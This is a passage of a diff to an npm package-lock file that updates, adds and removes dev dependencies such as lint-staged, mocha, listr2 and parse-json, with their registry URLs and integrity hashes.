"sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==", - "dev": true, - "requires": { - "jsbn": "1.1.0", - "sprintf-js": "^1.1.3" - } - }, - "is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.0.1.tgz", + "integrity": "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==", "dev": true }, "is-binary-path": { @@ -15394,9 +16650,9 @@ } }, "istanbul-reports": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.7.tgz", - "integrity": "sha512-BewmUXImeuRk2YY0PVbxgKAysvhRPUQE0h5QRM++nVWyubKGV0l8qQ5op8+B2DOmwSe63Jivj0BjkPQVf8fP5g==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", "dev": true, "requires": { "html-escaper": "^2.0.0", @@ -15423,6 +16679,12 @@ "@pkgjs/parseargs": "^0.11.0" } }, + "javascript-natural-sort": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/javascript-natural-sort/-/javascript-natural-sort-0.7.1.tgz", + "integrity": "sha512-nO6jcEfZWQXDhOiBtG2KvKyEptz7RVbpGP4vTD2hLBdmNQSsCiicO2Ioinv6UI4y9ukqnBpy+XZ9H6uLNgJTlw==", + "dev": true + }, "js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", @@ -15438,16 +16700,10 @@ "argparse": "^2.0.1" } }, - "jsbn": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz", - "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==", - "dev": true - }, - "json-parse-even-better-errors": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-3.0.2.tgz", - "integrity": "sha512-fi0NG4bPjCHunUJffmLd0gxssIgkNmArMvis4iNah6Owg1MCJjWhEcDLmsK6iGkJq3tHwbDkTlce70/tmXN4cQ==", + "jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", "dev": true }, "json-schema-traverse": { @@ -15475,9 +16731,9 @@ "dev": true }, "jsonfile": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", - "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", "dev": true, "requires": { "graceful-fs": "^4.1.6", @@ -15569,6 +16825,12 @@ "prebuild-install": "^7.0.1" } }, + "kuler": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/kuler/-/kuler-2.0.0.tgz", + "integrity": "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==", + "dev": true + }, "lazystream": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", @@ -15607,18 +16869,6 @@ "immediate": "~3.0.5" } }, - "lilconfig": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", - "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", - "dev": true - }, - "lines-and-columns": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-2.0.4.tgz", - "integrity": "sha512-wM1+Z03eypVAVUCE7QdSqpVIvelbOakn1M0bPDoA4SGWPx3sNDVUiMo3L6To6WWGClB7VyXnhQ4Sn7gxiJbE6A==", - "dev": true - }, "linkify-it": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.0.tgz", @@ -15629,100 +16879,40 @@ } }, "lint-staged": { - "version": "16.1.2", - "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-16.1.2.tgz", - "integrity": "sha512-sQKw2Si2g9KUZNY3XNvRuDq4UJqpHwF0/FQzZR2M7I5MvtpWvibikCjUVJzZdGE0ByurEl3KQNvsGetd1ty1/Q==", + "version": "16.2.6", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-16.2.6.tgz", + "integrity": "sha512-s1gphtDbV4bmW1eylXpVMk2u7is7YsrLl8hzrtvC70h4ByhcMLZFY01Fx05ZUDNuv1H8HO4E+e2zgejV1jVwNw==", "dev": true, "requires": { - "chalk": "^5.4.1", - "commander": "^14.0.0", - "debug": "^4.4.1", - "lilconfig": "^3.1.3", - "listr2": "^8.3.3", + "commander": "^14.0.1", + "listr2": "^9.0.5", "micromatch": "^4.0.8", - "nano-spawn": "^1.0.2", + "nano-spawn": "^2.0.0", "pidtree": "^0.6.0", "string-argv": "^0.3.2", - "yaml": "^2.8.0" + "yaml": "^2.8.1" }, "dependencies": { - "chalk": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz", - "integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==", - "dev": true - }, "commander": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.0.tgz", - "integrity": "sha512-2uM9rYjPvyq39NwLRqaiLtWHyDC1FvryJDa2ATTVims5YAS4PupsEQsDvP14FqhFr0P49CYDugi59xaxJlTXRA==", + "version": "14.0.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.1.tgz", + "integrity": "sha512-2JkV3gUZUVrbNA+1sjBOYLsMZ5cEEl8GTFP2a4AVz5hvasAMCQ1D2l2le/cX+pV4N6ZU17zjUahLpIXRrnWL8A==", "dev": true } } }, "listr2": { - "version": "8.3.3", - "resolved": "https://registry.npmjs.org/listr2/-/listr2-8.3.3.tgz", - "integrity": "sha512-LWzX2KsqcB1wqQ4AHgYb4RsDXauQiqhjLk+6hjbaeHG4zpjjVAB6wC/gz6X0l+Du1cN3pUB5ZlrvTbhGSNnUQQ==", + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-9.0.5.tgz", + "integrity": "sha512-ME4Fb83LgEgwNw96RKNvKV4VTLuXfoKudAmm2lP8Kk87KaMK0/Xrx/aAkMWmT8mDb+3MlFDspfbCs7adjRxA2g==", "dev": true, "requires": { - "cli-truncate": "^4.0.0", + "cli-truncate": "^5.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", "rfdc": "^1.4.1", "wrap-ansi": "^9.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", - "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", - "dev": true - }, - "ansi-styles": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", - "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", - "dev": true - }, - "emoji-regex": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz", - "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==", - "dev": true - }, - "string-width": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", - "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", - "dev": true, - "requires": { - "emoji-regex": "^10.3.0", - "get-east-asian-width": "^1.0.0", - "strip-ansi": "^7.1.0" - } - }, - "strip-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", - "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", - "dev": true, - "requires": { - "ansi-regex": "^6.0.1" - } - }, - "wrap-ansi": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.0.tgz", - "integrity": "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q==", - "dev": true, - "requires": { - "ansi-styles": "^6.2.1", - "string-width": "^7.0.0", - "strip-ansi": "^7.1.0" - } - } } }, "locate-path": { @@ -15834,85 +17024,62 @@ "wrap-ansi": "^9.0.0" }, "dependencies": { - "ansi-escapes": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.0.0.tgz", - "integrity": "sha512-GdYO7a61mR0fOlAsvC9/rIHf7L96sBc6dEWzeOu+KAea5bZyQRPIpojrVoI4AXGJS/ycu/fBTdLrUkA4ODrvjw==", - "dev": true, - "requires": { - "environment": "^1.0.0" - } - }, "ansi-regex": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", - "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", "dev": true }, "ansi-styles": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", - "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", - "dev": true - }, - "emoji-regex": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz", - "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==", + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", "dev": true }, "is-fullwidth-code-point": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.0.0.tgz", - "integrity": "sha512-OVa3u9kkBbw7b8Xw5F9P+D/T9X+Z4+JruYVNapTjPYZYUznQ5YfWeFkOj606XYYW8yugTfC8Pj0hYqvi4ryAhA==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", "dev": true, "requires": { - "get-east-asian-width": "^1.0.0" + "get-east-asian-width": "^1.3.1" } }, "slice-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.0.tgz", - "integrity": "sha512-bSiSngZ/jWeX93BqeIAbImyTbEihizcwNjFoRUIY/T1wWQsfsm2Vw1agPKylXvQTU7iASGdHhyqRlqQzfz+Htg==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", "dev": true, "requires": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" } }, - "string-width": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", - "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", - "dev": true, - "requires": { - "emoji-regex": "^10.3.0", - "get-east-asian-width": "^1.0.0", - "strip-ansi": "^7.1.0" - } - }, "strip-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", - "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", "dev": true, "requires": { "ansi-regex": "^6.0.1" } - }, - "wrap-ansi": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.0.tgz", - "integrity": "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q==", - "dev": true, - "requires": { - "ansi-styles": "^6.2.1", - "string-width": "^7.0.0", - "strip-ansi": "^7.1.0" - } } } }, + "logform": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/logform/-/logform-2.7.0.tgz", + "integrity": "sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ==", + "dev": true, + "requires": { + "@colors/colors": "1.6.0", + "@types/triple-beam": "^1.3.2", + "fecha": "^4.2.0", + "ms": "^2.1.1", + "safe-stable-stringify": "^2.3.1", + "triple-beam": "^1.3.0" + } + }, "loupe": { "version": "2.3.7", "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.7.tgz", @@ -15922,6 +17089,15 @@ "get-func-name": "^2.0.1" } }, + "lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "requires": { + "tslib": "^2.0.3" + } + }, "lru-cache": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", @@ -16077,9 +17253,9 @@ } }, "meow": { - "version": "13.2.0", - "resolved": "https://registry.npmjs.org/meow/-/meow-13.2.0.tgz", - "integrity": "sha512-pxQJQzB6djGPXh08dacEloMFopsOqGVRKFPYvPOt9XDZ1HasbgDZA74CJGreSU4G3Ak7EFJGoiH2auq+yXISgA==", + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-14.0.0.tgz", + "integrity": "sha512-JhC3R1f6dbspVtmF3vKjAWz1EVIvwFrGGPLSdU6rK79xBwHWTuHoLnRX/t1/zHS1Ch1Y2UtIrih7DAHuH9JFJA==", "dev": true }, "merge2": { @@ -16294,9 +17470,9 @@ "optional": true }, "mocha": { - "version": "11.7.1", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-11.7.1.tgz", - "integrity": "sha512-5EK+Cty6KheMS/YLPPMJC64g5V61gIR25KsRItHw6x4hEKT6Njp1n9LOlH4gpevuwMVS66SXaBBpg+RWZkza4A==", + "version": "11.7.4", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-11.7.4.tgz", + "integrity": "sha512-1jYAaY8x0kAZ0XszLWu14pzsf4KV740Gld4HXkhNTXwcHx4AUEDkPzgEHg9CM5dVcW+zv036tjpsEbLraPJj4w==", "dev": true, "requires": { "browser-stdout": "^1.3.1", @@ -16307,6 +17483,7 @@ "find-up": "^5.0.0", "glob": "^10.4.5", "he": "^1.2.0", + "is-path-inside": "^3.0.3", "js-yaml": "^4.1.0", "log-symbols": "^4.1.0", "minimatch": "^9.0.5", @@ -16339,6 +17516,12 @@ "readdirp": "^4.0.1" } }, + "diff": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", + "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "dev": true + }, "glob": { "version": "10.4.5", "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", @@ -16398,15 +17581,15 @@ "dev": true }, "nan": { - "version": "2.19.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.19.0.tgz", - "integrity": "sha512-nO1xXxfh/RWNxfd/XPfbIfFk5vgLsAxUR9y5O0cHMJu/AW9U95JLXqthYHjEp+8gQ5p96K9jUp8nbVOxCdRbtw==", + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz", + "integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==", "dev": true }, "nano-spawn": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/nano-spawn/-/nano-spawn-1.0.2.tgz", - "integrity": "sha512-21t+ozMQDAL/UGgQVBbZ/xXvNO10++ZPuTmKRO8k9V3AClVRht49ahtDjfY8l1q6nSHOrE5ASfthzH3ol6R/hg==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/nano-spawn/-/nano-spawn-2.0.0.tgz", + "integrity": "sha512-tacvGzUY5o2D8CBh2rrwxyNojUsZNU2zjNTzKQrkgGJQTbGAfArVWXSKMBokBeeg6C7OLRGUEyoFlYbfeWQIqw==", "dev": true }, "napi-build-utils": { @@ -16422,6 +17605,15 @@ "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, + "neatequal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/neatequal/-/neatequal-1.0.0.tgz", + "integrity": "sha512-sVt5awO4a4w24QmAthdrCPiVRW3naB8FGLdyadin01BH+6BzNPEBwGrpwCczQvPlULS6uXTItTe1PJ5P0kYm7A==", + "dev": true, + "requires": { + "varstream": "^0.3.2" + } + }, "negotiator": { "version": "0.6.4", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", @@ -16440,6 +17632,16 @@ "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==", "dev": true }, + "no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "requires": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, "node-abi": { "version": "3.45.0", "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.45.0.tgz", @@ -16492,23 +17694,14 @@ } } }, - "node-pty": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz", - "integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==", - "dev": true, - "requires": { - "nan": "^2.17.0" - } - }, "node-sarif-builder": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-2.0.3.tgz", - "integrity": "sha512-Pzr3rol8fvhG/oJjIq2NTVB0vmdNNlz22FENhhPojYRZ4/ee08CfK4YuKmuL54V9MLhI1kpzxfOJ/63LzmZzDg==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-3.2.0.tgz", + "integrity": "sha512-kVIOdynrF2CRodHZeP/97Rh1syTUHBNiw17hUCIVhlhEsWlfJm19MuO56s4MdKbr22xWx6mzMnNAgXzVlIYM9Q==", "dev": true, "requires": { - "@types/sarif": "^2.1.4", - "fs-extra": "^10.0.0" + "@types/sarif": "^2.1.7", + "fs-extra": "^11.1.1" } }, "nopt": { @@ -16614,6 +17807,15 @@ "wrappy": "1" } }, + "one-time": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/one-time/-/one-time-1.0.0.tgz", + "integrity": "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g==", + "dev": true, + "requires": { + "fn.name": "1.x.x" + } + }, "onetime": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", @@ -16764,6 +17966,16 @@ "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", "dev": true }, + "param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", @@ -16774,22 +17986,20 @@ } }, "parse-json": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-7.1.1.tgz", - "integrity": "sha512-SgOTCX/EZXtZxBE5eJ97P4yGM5n37BwRU+YMsH4vNzFqJV/oWFXXCmwFlgWUM4PrakybVOueJJ6pwHqSVhTFDw==", + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz", + "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==", "dev": true, "requires": { - "@babel/code-frame": "^7.21.4", - "error-ex": "^1.3.2", - "json-parse-even-better-errors": "^3.0.0", - "lines-and-columns": "^2.0.3", - "type-fest": "^3.8.0" + "@babel/code-frame": "^7.26.2", + "index-to-position": "^1.1.0", + "type-fest": "^4.39.1" }, "dependencies": { "type-fest": { - "version": "3.13.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-3.13.1.tgz", - "integrity": "sha512-tLq3bSNx+xSpwvAJnzrK0Ep5CLNWjvFTOp71URMaAEWBfRb9nnJiBoUe0tF8bI4ZFO3omgBR6NvnbzVUT3Ly4g==", + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", "dev": true } } @@ -16826,6 +18036,26 @@ "parse5": "^6.0.1" } }, + "pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "path-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/path-case/-/path-case-3.0.4.tgz", + "integrity": "sha512-qO4qCFjXqVTrcbPt/hQfhTQ+VhFsqNKOPtytgNKkKxSoEp3XPUQ8ObFuePylOIok5gjn69ry8XiULxCwot3Wfg==", + "dev": true, + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -16965,6 +18195,12 @@ "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", "dev": true }, + "presentable-error": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/presentable-error/-/presentable-error-0.0.1.tgz", + "integrity": "sha512-E6rsNU1QNJgB3sjj7OANinGncFKuK+164sLXw1/CqBjj/EkXSoSdHCtWQGBNlREIGLnL7IEUEGa08YFVUbrhVg==", + "dev": true + }, "prettier": { "version": "3.6.2", "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.6.2.tgz", @@ -17034,6 +18270,12 @@ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==" }, + "rambda": { + "version": "7.5.0", + "resolved": "https://registry.npmjs.org/rambda/-/rambda-7.5.0.tgz", + "integrity": "sha512-y/M9weqWAH4iopRd7EHDEQQvpFPHj1AA3oHozE9tfITHUtTR7Z9PSlIRRG2l1GuW7sefC1cXFfIcF+cgnShdBA==", + "dev": true + }, "randombytes": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", @@ -17087,15 +18329,16 @@ } }, "read-pkg": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-8.1.0.tgz", - "integrity": "sha512-PORM8AgzXeskHO/WEv312k9U03B8K9JSiWF/8N9sUuFjBa+9SF2u6K7VClzXwDXab51jCd8Nd36CNM+zR97ScQ==", + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-9.0.1.tgz", + "integrity": "sha512-9viLL4/n1BJUCT1NXVTdS1jtm80yDEgR5T4yCelII49Mbj0v1rZdKqj7zCiYdbB0CuCgdrvHcNogAKTFPBocFA==", "dev": true, "requires": { - "@types/normalize-package-data": "^2.4.1", + "@types/normalize-package-data": "^2.4.3", "normalize-package-data": "^6.0.0", - "parse-json": "^7.0.0", - "type-fest": "^4.2.0" + "parse-json": "^8.0.0", + "type-fest": "^4.6.0", + "unicorn-magic": "^0.1.0" }, "dependencies": { "type-fest": { @@ -17103,6 +18346,12 @@ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", "dev": true + }, + "unicorn-magic": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz", + "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==", + "dev": true } } }, @@ -17216,7 +18465,7 @@ "require-directory": { "version": "2.1.1", "resolved": 